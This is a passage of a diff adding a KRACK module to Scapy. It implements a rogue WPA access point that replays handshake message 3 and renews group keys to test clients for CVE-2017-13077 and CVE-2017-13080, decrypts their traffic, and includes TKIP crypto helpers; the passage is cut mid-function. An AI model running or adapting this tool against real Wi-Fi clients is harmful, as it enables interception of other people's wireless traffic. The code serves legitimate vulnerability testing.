+            b'\x00\x00', # KeyID - Tx - Reserved x2
+            self.gtk_full,
+        ])
+
+    def send_wpa_enc(self, data, iv, seqnum, dest, mic_key,
+                     key_idx=0, additionnal_flag=["from-DS"],
+                     encrypt_key=None):
+        """Send an encrypted packet with content @data, using IV @iv,
+        sequence number @seqnum, MIC key @mic_key
+        """
+
+        if encrypt_key is None:
+            encrypt_key = self.tk
+
+        rep = RadioTap()
+        rep /= Dot11(
+            addr1=dest,
+            addr2=self.mac,
+            addr3=self.mac,
+            FCfield="+".join(['wep'] + additionnal_flag),
+            SC=(next(self.seq_num) << 4),
+            subtype=0,
+            type="Data",
+        )
+
+        # Assume packet is send by our AP -> use self.mac as source
+
+        # Encapsule in TKIP with MIC Michael and ICV
+        data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest)
+
+        # Header TKIP + payload
+        rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key))
+
+        self.send(rep)
+        return rep
+
+    def send_wpa_to_client(self, data, **kwargs):
+        kwargs.setdefault("encrypt_key", self.tk)
+        return self.send_wpa_enc(data, next(self.client_iv),
+                                 next(self.seq_num), self.client,
+                                 self.mic_ap_to_sta, **kwargs)
+
+    def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs):
+        kwargs.setdefault("encrypt_key", self.gtk)
+        return self.send_wpa_enc(data, next(self.group_iv),
+                                 next(self.seq_num), dest,
+                                 self.mic_ap_to_group, **kwargs)
+
+    def send_ether_over_wpa(self, pkt, **kwargs):
+        """Send an Ethernet packet using the WPA channel
+        Extra arguments will be ignored, and are just left for compatibiliy
+        """
+
+        payload = LLC()/SNAP()/pkt[Ether].payload
+        dest = pkt.dst
+        if dest == "ff:ff:ff:ff:ff:ff":
+            self.send_wpa_to_group(payload, dest)
+        else:
+            assert dest == self.client
+            self.send_wpa_to_client(payload)
+
+    def deal_common_pkt(self, pkt):
+        # Send to DHCP server
+        # LLC / SNAP to Ether
+        if SNAP in pkt:
+            ether_pkt = Ether(src=self.client,dst=self.mac) / pkt[SNAP].payload
+            self.dhcp_server.reply(ether_pkt)
+
+        # If an ARP request is made, extract client IP and answer
+        if ARP in pkt and \
+           pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw:
+            if self.arp_target_ip is None:
+                self.arp_target_ip = pkt[ARP].psrc
+                log_runtime.info("Detected IP: %s", self.arp_target_ip)
+
+            # Reply
+            ARP_ans = LLC()/SNAP()/ARP(
+                op="is-at",
+                psrc=self.arp_source_ip,
+                pdst=self.arp_target_ip,
+                hwsrc=self.mac,
+                hwdst=self.client,
+            )
+            self.send_wpa_to_client(ARP_ans)
+
+    # States
+
+    @ATMT.state(initial=True)
+    def WAIT_AUTH_REQUEST(self):
+        log_runtime.debug("State WAIT_AUTH_REQUEST")
+
+    @ATMT.state()
+    def AUTH_RESPONSE_SENT(self):
+        log_runtime.debug("State AUTH_RESPONSE_SENT")
+
+    @ATMT.state()
+    def ASSOC_RESPONSE_SENT(self):
+        log_runtime.debug("State ASSOC_RESPONSE_SENT")
+
+    @ATMT.state()
+    def WPA_HANDSHAKE_STEP_1_SENT(self):
+        log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT")
+
+    @ATMT.state()
+    def WPA_HANDSHAKE_STEP_3_SENT(self):
+        log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT")
+
+    @ATMT.state()
+    def KRACK_DISPATCHER(self):
+        log_runtime.debug("State KRACK_DISPATCHER")
+
+    @ATMT.state()
+    def ANALYZE_DATA(self):
+        log_runtime.debug("State ANALYZE_DATA")
+
+    @ATMT.timeout(ANALYZE_DATA, 1)
+    def timeout_analyze_data(self):
+        raise self.KRACK_DISPATCHER()
+
+    @ATMT.state()
+    def RENEW_GTK(self):
+        log_runtime.debug("State RENEW_GTK")
+
+    @ATMT.state()
+    def WAIT_GTK_ACCEPT(self):
+        log_runtime.debug("State WAIT_GTK_ACCEPT")
+
+    @ATMT.state()
+    def WAIT_ARP_REPLIES(self):
+        log_runtime.debug("State WAIT_ARP_REPLIES")
+
+    @ATMT.state(final=1)
+    def EXIT(self):
+        log_runtime.debug("State EXIT")
+
+    @ATMT.timeout(WAIT_GTK_ACCEPT, 1)
+    def timeout_wait_gtk_accept(self):
+        raise self.RENEW_GTK()
+
+    @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1)
+    def timeout_waiting(self):
+        raise self.WAIT_AUTH_REQUEST()
+
+    @ATMT.action(timeout_waiting)
+    def send_beacon(self):
+        log_runtime.debug("Send a beacon")
+        rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff")
+        self.send(rep)
+
+    @ATMT.receive_condition(WAIT_AUTH_REQUEST)
+    def probe_request_received(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+        if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
+            raise self.WAIT_AUTH_REQUEST().action_parameters(pkt)
+
+    @ATMT.action(probe_request_received)
+    def send_probe_response(self, pkt):
+        rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2)
+        self.send(rep)
+
+    @ATMT.receive_condition(WAIT_AUTH_REQUEST)
+    def authent_received(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+        if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac:
+            raise self.AUTH_RESPONSE_SENT().action_parameters(pkt)
+
+    @ATMT.action(authent_received)
+    def send_auth_response(self, pkt):
+
+        # Save client MAC for later
+        self.client = pkt.addr2
+        log_runtime.warning("Client %s connected!", self.client)
+
+        # Launch DHCP Server
+        self.dhcp_server.run()
+
+        rep = RadioTap()
+        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
+        rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo,
+                         status=pkt[Dot11Auth].status)
+
+        self.send(rep)
+
+    @ATMT.receive_condition(AUTH_RESPONSE_SENT)
+    def assoc_received(self, pkt):
+        if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
+           pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
+            raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt)
+
+    @ATMT.action(assoc_received)
+    def send_assoc_response(self, pkt):
+
+        # Get RSN info
+        temp_pkt = pkt[Dot11Elt::{"ID":48}].copy()
+        temp_pkt.remove_payload()
+        self.RSN = raw(temp_pkt)
+        # Avoid 802.11w, etc. (deactivate RSN capabilities)
+        self.RSN = self.RSN[:-2] + "\x00\x00"
+
+        rep = RadioTap()
+        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
+        rep /= Dot11AssoResp()
+        rep /= Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18$')
+
+        self.send(rep)
+
+    @ATMT.condition(ASSOC_RESPONSE_SENT)
+    def assoc_sent(self):
+        raise self.WPA_HANDSHAKE_STEP_1_SENT()
+
+    @ATMT.action(assoc_sent)
+    def send_wpa_handshake_1(self):
+
+        self.anonce = self.gen_nonce(32)
+
+        rep = RadioTap()
+        rep /= Dot11(
+            addr1=self.client,
+            addr2=self.mac,
+            addr3=self.mac,
+            FCfield='from-DS',
+            SC=(next(self.seq_num) << 4),
+        )
+        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
+        rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
+        rep /= self.build_EAPOL_Key_8021X2004(
+            key_information=0x89,
+            replay_counter=next(self.replay_counter),
+            nonce=self.anonce,
+        )
+
+        self.send(rep)
+
+    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT)
+    def wpa_handshake_1_sent(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
+           pkt[EAPOL].load[1] == "\x01":
+            # Key MIC: set, Secure / Error / Request / Encrypted / SMK
+            # message: not set
+            raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt)
+
+    @ATMT.action(wpa_handshake_1_sent)
+    def send_wpa_handshake_3(self, pkt):
+
+        # Both nonce have been exchanged, install keys
+        client_nonce = pkt[EAPOL].load[13:13 + 0x20]
+        self.install_unicast_keys(client_nonce)
+
+        # Check client MIC
+
+        # Data: full message with MIC place replaced by 0s
+        # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python
+        client_mic = pkt[EAPOL].load[77:77 + 16]
+        client_data = raw(pkt[EAPOL]).replace(client_mic, "\x00" * len(client_mic))
+        assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic
+
+        rep = RadioTap()
+        rep /= Dot11(
+            addr1=self.client,
+            addr2=self.mac,
+            addr3=self.mac,
+            FCfield='from-DS',
+            SC=(next(self.seq_num) << 4),
+        )
+
+        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
+        rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
+
+        self.install_GTK()
+        data = self.RSN
+        data += self.build_GTK_KDE()
+
+        eap = self.build_EAPOL_Key_8021X2004(
+            key_information=0x13c9,
+            replay_counter=next(self.replay_counter),
+            nonce=self.anonce,
+            data=data,
+            key_mic=self.kck,
+            key_data_encrypt=self.kek,
+        )
+
+        self.send(rep / eap)
+
+    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT)
+    def wpa_handshake_3_sent(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
+           pkt[EAPOL].load[1:3] == "\x03\x09":
+            self.time_handshake_end = time.time()
+            raise self.KRACK_DISPATCHER()
+
+    @ATMT.condition(KRACK_DISPATCHER)
+    def krack_dispatch(self):
+        now = time.time()
+        # Handshake 3/4 replay
+        if self.double_3handshake and (self.krack_state & 1 == 0) and \
+           (now - self.time_handshake_end) > self.wait_3handshake:
+            log_runtime.info("Trying to trigger CVE-2017-13077")
+            raise self.ANALYZE_DATA().action_parameters(send_3handshake=True)
+
+        # GTK rekeying
+        if (self.krack_state & 2 == 0) and \
+           (now - self.time_handshake_end) > self.wait_gtk:
+            raise self.ANALYZE_DATA().action_parameters(send_gtk=True)
+
+        # Fallback in data analysis
+        raise self.ANALYZE_DATA().action_parameters()
+
+    @ATMT.action(krack_dispatch)
+    def krack_proceed(self, send_3handshake=False, send_gtk=False):
+        if send_3handshake:
+            rep = RadioTap()
+            rep /= Dot11(
+                addr1=self.client,
+                addr2=self.mac,
+                addr3=self.mac,
+                FCfield='from-DS',
+                SC=(next(self.seq_num) << 4),
+                subtype=0,
+                type="Data",
+            )
+
+            rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
+            rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
+
+            data = self.RSN
+            data += self.build_GTK_KDE()
+
+            eap_2 = self.build_EAPOL_Key_8021X2004(
+                # Key information 0x13c9:
+                #   ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure,
+                #   Encrypted, SMK
+                key_information=0x13c9,
+                replay_counter=next(self.replay_counter),
+                nonce=self.anonce,
+                data=data,
+                key_mic=self.kck,
+                key_data_encrypt=self.kek,
+            )
+
+            rep /= eap_2
+
+            if self.encrypt_3handshake:
+                self.send_wpa_to_client(rep[LLC])
+            else:
+                self.send(rep)
+
+            self.krack_state |= 1
+
+        if send_gtk:
+            self.krack_state |= 2
+            # Renew the GTK
+            self.install_GTK()
+            raise self.RENEW_GTK()
+
+    @ATMT.receive_condition(ANALYZE_DATA)
+    def get_data(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+
+        # Skip retries
+        if pkt[Dot11].FCfield.retry:
+            return
+
+        # Skip unencrypted frames (TKIP rely on WEP packet)
+        if not pkt[Dot11].FCfield.wep:
+            return
+
+        # Dot11.type 2: Data
+        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
+            # Do not check pkt.addr3, frame can be broadcast
+            raise self.KRACK_DISPATCHER().action_parameters(pkt)
+
+    @ATMT.action(get_data)
+    def extract_iv(self, pkt):
+        # Get IV
+        TSC, _, _ = parse_TKIP_hdr(pkt)
+        iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \
+             (TSC[4] << 32) | (TSC[5] << 40)
+        log_runtime.info("Got a packet with IV: %s", hex(iv))
+
+        if self.last_iv is None:
+            self.last_iv = iv
+        else:
+            if iv <= self.last_iv:
+                log_runtime.warning("IV re-use!! Client seems to be "
+                                    "vulnerable to handshake 3/4 replay "
+                                    "(CVE-2017-13077)"
+                )
+
+        data_clear = None
+
+        # Normal decoding
+        data = parse_data_pkt(pkt, self.tk)
+        try:
+            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
+                                       pkt.addr3)
+        except (ICVError, MICError):
+            pass
+
+        # Decoding with a 0's TK
+        if data_clear is None:
+            data = parse_data_pkt(pkt, "\x00" * len(self.tk))
+            try:
+                mic_key = "\x00" * len(self.mic_sta_to_ap)
+                data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3)
+                log_runtime.warning("Client has installed an all zero "
+                                    "encryption key (TK)!!")
+            except (ICVError, MICError):
+                pass
+
+        if data_clear is None:
+            log_runtime.warning("Unable to decode the packet, something went "
+                                "wrong")
+            log_runtime.debug(hexdump(pkt, dump=True))
+            self.deal_common_pkt(pkt)
+            return
+
+        log_runtime.debug(hexdump(data_clear, dump=True))
+        pkt = LLC(data_clear)
+        log_runtime.debug(repr(pkt))
+        self.deal_common_pkt(pkt)
+
+
+    @ATMT.condition(RENEW_GTK)
+    def gtk_pkt_1(self):
+        raise self.WAIT_GTK_ACCEPT()
+
+    @ATMT.action(gtk_pkt_1)
+    def send_renew_gtk(self):
+
+        rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
+        rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
+
+        data = self.build_GTK_KDE()
+
+        eap = self.build_EAPOL_Key_8021X2004(
+            # Key information 0x1381:
+            #   ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted,
+            #   SMK
+            key_information=0x1381,
+            replay_counter=next(self.replay_counter),
+            nonce=self.anonce,
+            data=data,
+            key_mic=self.kck,
+            key_data_encrypt=self.kek,
+        )
+
+        rep_to_enc /= eap
+        self.send_wpa_to_client(rep_to_enc)
+
+    @ATMT.receive_condition(WAIT_GTK_ACCEPT)
+    def get_gtk_2(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+
+        # Skip retries
+        if pkt[Dot11].FCfield.retry:
+            return
+
+        # Skip unencrypted frames (TKIP rely on WEP packet)
+        if not pkt[Dot11].FCfield.wep:
+            return
+
+        # Normal decoding
+        try:
+            data = parse_data_pkt(pkt, self.tk)
+        except ValueError:
+            return
+        try:
+            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
+                                       pkt.addr3)
+        except (ICVError, MICError):
+            return
+
+        pkt_clear = LLC(data_clear)
+        if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \
+           pkt_clear[EAPOL].load[1:3] == "\x03\x01":
+            raise self.WAIT_ARP_REPLIES()
+
+    @ATMT.action(get_gtk_2)
+    def send_arp_req(self):
+
+        if self.krack_state & 4 == 0:
+            # Set the address for future uses
+            self.arp_target_ip = self.dhcp_server.leases.get(self.client,
+                                                             self.arp_target_ip)
+            assert self.arp_target_ip is not None
+
+            # Send the first ARP requests, for control test
+            log_runtime.info("Send ARP who-was from '%s' to '%s'",
+                             self.arp_source_ip,
+                             self.arp_target_ip)
+            arp_pkt = self.send_wpa_to_group(
+                LLC()/SNAP()/ARP(op="who-has",
+                                 psrc=self.arp_source_ip,
+                                 pdst=self.arp_target_ip,
+                                 hwsrc=self.mac),
+                dest='ff:ff:ff:ff:ff:ff',
+            )
+            self.arp_sent.append(arp_pkt)
+        else:
+            if self.arp_to_send < len(self.arp_sent):
+                # Re-send the ARP requests already sent
+                self.send(self.arp_sent[self.arp_to_send])
+                self.arp_to_send += 1
+            else:
+                # Re-send GTK
+                self.arp_to_send = 0
+                self.arp_retry += 1
+                log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d",
+                              self.arp_retry, self.ARP_MAX_RETRY)
+                if self.arp_retry > self.ARP_MAX_RETRY:
+                    # We retries 100 times to send GTK, then already sent ARPs
+                    log_runtime.warning("Client is likely not vulnerable to "
+                                        "CVE-2017-13080")
+                    raise self.EXIT()
+
+                raise self.RENEW_GTK()
+
+    @ATMT.timeout(WAIT_ARP_REPLIES, 0.5)
+    def resend_arp_req(self):
+        self.send_arp_req()
+        raise self.WAIT_ARP_REPLIES()
+
+    @ATMT.receive_condition(WAIT_ARP_REPLIES)
+    def get_arp(self, pkt):
+        # Avoid packet from other interfaces
+        if not RadioTap in pkt:
+            return
+
+        # Skip retries
+        if pkt[Dot11].FCfield.retry:
+            return
+
+        # Skip unencrypted frames (TKIP rely on WEP packet)
+        if not pkt[Dot11].FCfield.wep:
+            return
+
+        # Dot11.type 2: Data
+        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
+            # Do not check pkt.addr3, frame can be broadcast
+            raise self.WAIT_ARP_REPLIES().action_parameters(pkt)
+
+    @ATMT.action(get_arp)
+    def check_arp_reply(self, pkt):
+        data = parse_data_pkt(pkt, self.tk)
+        try:
+            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
+                                       pkt.addr3)
+        except (ICVError, MICError):
+            return
+
+        decoded_pkt = LLC(data_clear)
+        log_runtime.debug(hexdump(decoded_pkt, dump=True))
+        log_runtime.debug(repr(decoded_pkt))
+        self.deal_common_pkt(decoded_pkt)
+        if ARP not in decoded_pkt:
+            return
+
+        # ARP.op 2: is-at
+        if decoded_pkt[ARP].op == 2 and \
+           decoded_pkt[ARP].psrc == self.arp_target_ip and \
+           decoded_pkt[ARP].pdst == self.arp_source_ip:
+            # Got the expected ARP
+            if self.krack_state & 4 == 0:
+                # First time, normal behavior
+                log_runtime.info("Got ARP reply, this is normal")
+                self.krack_state |= 4
+                log_runtime.info("Trying to trigger CVE-2017-13080")
+                raise self.RENEW_GTK()
+            else:
+                # Second time, the packet has been accepted twice!
+                log_runtime.warning("Broadcast packet accepted twice!! "
+                                    "(CVE-2017-13080)")
diff --git a/scapy/modules/krack/crypto.py b/scapy/modules/krack/crypto.py
new file mode 100644
index 0000000..65550ab
--- /dev/null
+++ b/scapy/modules/krack/crypto.py
@@ -0,0 +1,346 @@
+import hashlib
+import hmac
+from io import BytesIO
+from struct import unpack, pack
+from zlib import crc32
+
+from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+from cryptography.hazmat.backends import default_backend
+
+from scapy.compat import hex_bytes, orb
+from scapy.packet import Raw
+
+# ARC4
+
+def ARC4_encrypt(key, data, skip=0):
+    """Encrypt data @data with key @key, skipping @skip first bytes of the
+    keystream"""
+
+    algorithm = algorithms.ARC4(key)
+    cipher = Cipher(algorithm, mode=None, backend=default_backend())
+    encryptor = cipher.encryptor()
+    if skip:
+        encryptor.update("\x00" * skip)
+    return encryptor.update(data)
+
+def ARC4_decrypt(key, data, skip=0):
+    """Decrypt data @data with key @key, skipping @skip first bytes of the
+    keystream"""
+    return ARC4_encrypt(key, data, skip)
+
+# Custom WPA PseudoRandomFunction
+
+def customPRF512(key, amac, smac, anonce, snonce):
+    """Source https://stackoverflow.com/questions/12018920/"""
+    A = "Pairwise key expansion"
+    B = "".join(sorted([amac, smac]) + sorted([anonce, snonce]))
+
+    blen = 64
+    i    = 0
+    R    = ''
+    while i<=((blen*8+159)/160):
+        hmacsha1 = hmac.new(key,A+chr(0x00)+B+chr(i), hashlib.sha1)
+        i+=1
+        R = R+hmacsha1.digest()
+    return R[:blen]
+
+# TKIP - WEPSeed generation
+# Tested against pyDot11: tkip.py
+
+# 802.11i p.53-54
+_SBOXS = [
+    [
+        0xC6A5, 0xF884, 0xEE99, 0xF68D, 0xFF0D, 0xD6BD, 0xDEB1, 0x9154,
+        0x6050, 0x0203, 0xCEA9, 0x567D, 0xE719, 0xB562, 0x4DE6, 0xEC9A,
+        0x8F45, 0x1F9D, 0x8940, 0xFA87, 0xEF15, 0xB2EB, 0x8EC9, 0xFB0B,
+        0x41EC, 0xB367, 0x5FFD, 0x45EA, 0x23BF, 0x53F7, 0xE496, 0x9B5B,
+        0x75C2, 0xE11C, 0x3DAE, 0x4C6A, 0x6C5A, 0x7E41, 0xF502, 0x834F,
+        0x685C, 0x51F4, 0xD134, 0xF908, 0xE293, 0xAB73, 0x6253, 0x2A3F,
+        0x080C, 0x9552, 0x4665, 0x9D5E, 0x3028, 0x37A1, 0x0A0F, 0x2FB5,
+        0x0E09, 0x2436, 0x1B9B, 0xDF3D, 0xCD26, 0x4E69, 0x7FCD, 0xEA9F,
+        0x121B, 0x1D9E, 0x5874, 0x342E, 0x362D, 0xDCB2, 0xB4EE, 0x5BFB,
+        0xA4F6, 0x764D, 0xB761, 0x7DCE, 0x527B, 0xDD3E, 0x5E71, 0x1397,
+        0xA6F5, 0xB968, 0x0000, 0xC12C, 0x4060, 0xE31F, 0x79C8, 0xB6ED,
+        0xD4BE, 0x8D46, 0x67D9, 0x724B, 0x94DE, 0x98D4, 0xB0E8, 0x854A,
+        0xBB6B, 0xC52A, 0x4FE5, 0xED16, 0x86C5, 0x9AD7, 0x6655, 0x1194,
+        0x8ACF, 0xE910, 0x0406, 0xFE81, 0xA0F0, 0x7844, 0x25BA, 0x4BE3,
+        0xA2F3, 0x5DFE, 0x80C0, 0x058A, 0x3FAD, 0x21BC, 0x7048, 0xF104,
+        0x63DF, 0x77C1, 0xAF75, 0x4263, 0x2030, 0xE51A, 0xFD0E, 0xBF6D,
+        0x814C, 0x1814, 0x2635, 0xC32F, 0xBEE1, 0x35A2, 0x88CC, 0x2E39,
+        0x9357, 0x55F2, 0xFC82, 0x7A47, 0xC8AC, 0xBAE7, 0x322B, 0xE695,
+        0xC0A0, 0x1998, 0x9ED1, 0xA37F, 0x4466, 0x547E, 0x3BAB, 0x0B83,
+        0x8CCA, 0xC729, 0x6BD3, 0x283C, 0xA779, 0xBCE2, 0x161D, 0xAD76,
+        0xDB3B, 0x6456, 0x744E, 0x141E, 0x92DB, 0x0C0A, 0x486C, 0xB8E4,
+        0x9F5D, 0xBD6E, 0x43EF, 0xC4A6, 0x39A8, 0x31A4, 0xD337, 0xF28B,
+        0xD532, 0x8B43, 0x6E59, 0xDAB7, 0x018C, 0xB164, 0x9CD2, 0x49E0,
+        0xD8B4, 0xACFA, 0xF307, 0xCF25, 0xCAAF, 0xF48E, 0x47E9, 0x1018,
+        0x6FD5, 0xF088, 0x4A6F, 0x5C72, 0x3824, 0x57F1, 0x73C7, 0x9751,
+        0xCB23, 0xA17C, 0xE89C, 0x3E21, 0x96DD, 0x61DC, 0x0D86, 0x0F85,
+        0xE090, 0x7C42, 0x71C4, 0xCCAA, 0x90D8, 0x0605, 0xF701, 0x1C12,
+        0xC2A3, 0x6A5F, 0xAEF9, 0x69D0, 0x1791, 0x9958, 0x3A27, 0x27B9,
+        0xD938, 0xEB13, 0x2BB3, 0x2233, 0xD2BB, 0xA970, 0x0789, 0x33A7,
+        0x2DB6, 0x3C22, 0x1592, 0xC920, 0x8749, 0xAAFF, 0x5078, 0xA57A,
+        0x038F, 0x59F8, 0x0980, 0x1A17, 0x65DA, 0xD731, 0x84C6, 0xD0B8,
+        0x82C3, 0x29B0, 0x5A77, 0x1E11, 0x7BCB, 0xA8FC, 0x6DD6, 0x2C3A
+    ],
+    [
+        0xA5C6, 0x84F8, 0x99EE, 0x8DF6, 0x0DFF, 0xBDD6, 0xB1DE, 0x5491,
+        0x5060, 0x0302, 0xA9CE, 0x7D56, 0x19E7, 0x62B5, 0xE64D, 0x9AEC,
+        0x458F, 0x9D1F, 0x4089, 0x87FA, 0x15EF, 0xEBB2, 0xC98E, 0x0BFB,
+        0xEC41, 0x67B3, 0xFD5F, 0xEA45, 0xBF23, 0xF753, 0x96E4, 0x5B9B,
+        0xC275, 0x1CE1, 0xAE3D, 0x6A4C, 0x5A6C, 0x417E, 0x02F5, 0x4F83,
+        0x5C68, 0xF451, 0x34D1, 0x08F9, 0x93E2, 0x73AB, 0x5362, 0x3F2A,
+        0x0C08, 0x5295, 0x6546, 0x5E9D, 0x2830, 0xA137, 0x0F0A, 0xB52F,
+        0x090E, 0x3624, 0x9B1B, 0x3DDF, 0x26CD, 0x694E, 0xCD7F, 0x9FEA,
+        0x1B12, 0x9E1D, 0x7458, 0x2E34, 0x2D36, 0xB2DC, 0xEEB4, 0xFB5B,
+        0xF6A4, 0x4D76, 0x61B7, 0xCE7D, 0x7B52, 0x3EDD, 0x715E, 0x9713,
+        0xF5A6, 0x68B9, 0x0000, 0x2CC1, 0x6040, 0x1FE3, 0xC879, 0xEDB6,
+        0xBED4, 0x468D, 0xD967, 0x4B72, 0xDE94, 0xD498, 0xE8B0, 0x4A85,
+        0x6BBB, 0x2AC5, 0xE54F, 0x16ED, 0xC586, 0xD79A, 0x5566, 0x9411,
+        0xCF8A, 0x10E9, 0x0604, 0x81FE, 0xF0A0, 0x4478, 0xBA25, 0xE34B,
+        0xF3A2, 0xFE5D, 0xC080, 0x8A05, 0xAD3F, 0xBC21, 0x4870, 0x04F1,
+        0xDF63, 0xC177, 0x75AF, 0x6342, 0x3020, 0x1AE5, 0x0EFD, 0x6DBF,
+        0x4C81, 0x1418, 0x3526, 0x2FC3, 0xE1BE, 0xA235, 0xCC88, 0x392E,
+        0x5793, 0xF255, 0x82FC, 0x477A, 0xACC8, 0xE7BA, 0x2B32, 0x95E6,
+        0xA0C0, 0x9819, 0xD19E, 0x7FA3, 0x6644, 0x7E54, 0xAB3B, 0x830B,
+        0xCA8C, 0x29C7, 0xD36B, 0x3C28, 0x79A7, 0xE2BC, 0x1D16, 0x76AD,
+        0x3BDB, 0x5664, 0x4E74, 0x1E14, 0xDB92, 0x0A0C, 0x6C48, 0xE4B8,
+        0x5D9F, 0x6EBD, 0xEF43, 0xA6C4, 0xA839, 0xA431, 0x37D3, 0x8BF2,
+        0x32D5, 0x438B, 0x596E, 0xB7DA, 0x8C01, 0x64B1, 0xD29C, 0xE049,
+        0xB4D8, 0xFAAC, 0x07F3, 0x25CF, 0xAFCA, 0x8EF4, 0xE947, 0x1810,
+        0xD56F, 0x88F0, 0x6F4A, 0x725C, 0x2438, 0xF157, 0xC773, 0x5197,
+        0x23CB, 0x7CA1, 0x9CE8, 0x213E, 0xDD96, 0xDC61, 0x860D, 0x850F,
+        0x90E0, 0x427C, 0xC471, 0xAACC, 0xD890, 0x0506, 0x01F7, 0x121C,
+        0xA3C2, 0x5F6A, 0xF9AE, 0xD069, 0x9117, 0x5899, 0x273A, 0xB927,
+        0x38D9, 0x13EB, 0xB32B, 0x3322, 0xBBD2, 0x70A9, 0x8907, 0xA733,
+        0xB62D, 0x223C, 0x9215, 0x20C9, 0x4987, 0xFFAA, 0x7850, 0x7AA5,
+        0x8F03, 0xF859, 0x8009, 0x171A, 0xDA65, 0x31D7, 0xC684, 0xB8D0,
+        0xC382, 0xB029, 0x775A, 0x111E, 0xCB7B, 0xFCA8, 0xD66D, 0x3A2C
+    ]
+]
+
+# 802.11i Annex H
+PHASE1_LOOP_CNT = 8
+
+def _MK16(b1, b2):
+    return (b1 << 8) | b2
+
+def _SBOX16(index):
+    return _SBOXS[0][index & 0xff] ^ _SBOXS[1][(index >> 8)]
+
+def _CAST16(value):
+    return value & 0xffff
+
+def _RotR1(value):
+    return ((value >> 1) & 0x7fff) | (value << 15)
+
+def gen_TKIP_RC4_key(TSC, TA, TK):
+    """Implement TKIP WEPSeed generation
+    TSC: packet IV
+    TA: target addr bytes
+    TK: temporal key
+    """
+
+    assert len(TSC) == 6
+    assert len(TA) == 6
+    assert len(TK) == 16
+    assert all(isinstance(x, (int, long)) for x in TSC + TA + TK)
+
+    # Phase 1
+    # 802.11i p.54
+
+    # Phase 1 - Step 1
+    TTAK = []
+    TTAK.append(_MK16(TSC[3], TSC[2]))
+    TTAK.append(_MK16(TSC[5], TSC[4]))
+    TTAK.append(_MK16(TA[1], TA[0]))
+    TTAK.append(_MK16(TA[3], TA[2]))
+    TTAK.append(_MK16(TA[5], TA[4]))
+
+    # Phase 1 - Step 2
+    for i in xrange(PHASE1_LOOP_CNT):
+        j = 2 * (i & 1)
+        TTAK[0] = _CAST16(TTAK[0] + _SBOX16(TTAK[4] ^ _MK16(TK[1 + j], TK[0 + j])))
+        TTAK[1] = _CAST16(TTAK[1] + _SBOX16(TTAK[0] ^ _MK16(TK[5 + j], TK[4 + j])))
+        TTAK[2] = _CAST16(TTAK[2] + _SBOX16(TTAK[1] ^ _MK16(TK[9 + j], TK[8 + j])))
+        TTAK[3] = _CAST16(TTAK[3] + _SBOX16(TTAK[2] ^ _MK16(TK[13 + j], TK[12 + j])))
+        TTAK[4] = _CAST16(TTAK[4] + _SBOX16(TTAK[3] ^ _MK16(TK[1 + j], TK[0 + j])) + i)
+
+    # Phase 2
+    # 802.11i p.56
+
+    # Phase 2 - Step 1
+    PPK = list(TTAK)
+    PPK.append(_CAST16(TTAK[4] + _MK16(TSC[1], TSC[0])))
+
+    # Phase 2 - Step 2
+    PPK[0] = _CAST16(PPK[0] + _SBOX16(PPK[5] ^ _MK16(TK[1], TK[0])))
